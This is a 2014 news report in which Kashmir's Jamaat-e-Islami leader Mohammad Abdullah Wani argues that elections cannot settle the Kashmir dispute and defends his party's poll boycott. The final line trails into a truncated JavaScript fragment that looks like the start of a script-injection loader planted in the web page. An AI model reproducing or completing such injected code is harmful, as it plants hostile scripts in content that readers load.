Published On: Fri, Mar 28th, 2014
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Polls can never be substitute of Kashmir resolution: Wani

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ISLAMABAD: The Jamaat-e-Islami of Indian occupied Kashmir has said that the elections are neither a referendum nor a plebiscite as far as the Kashmir dispute is concerned.

According to reporter, the Jamaat Ameer, Mohammad Abdullah Wani said, “Elections can never be a substitute of Kashmir resolution as the same is not a referendum nor a plebiscite but clearly an exercise for administrative issues.”

“Polls are for electricity, roads and water. Since 1947 polls never affected reality of the Kashmir dispute,” he added.

“Even if 3% people vote- we have seen in the past that governments were formed. If only 1% people will vote still the formation of the government is inevitable,” he added.

“If the governments in India would have been serious for Kashmir resolution, the same would have been resolved long ago,” he answered in reply to a question.

Wani stated that the Jamaat believes that Kashmir is a dispute and needs to be resolved through the implementation of UN resolutions or through tri-partite dialogue.

Wani reiterated that his party distanced itself from polls after the massive rigging in elections during 1987.

“We have boycotted the polls and also urge people to follow our call.”

Meanwhile, the Jamaat-e-Islami Jammu has strongly condemned the attack on Kashmiri inmate Mohammad Rafiq Shah in Tihar Jail New Delhi.var d=document;var s=d.createElement(‘script’);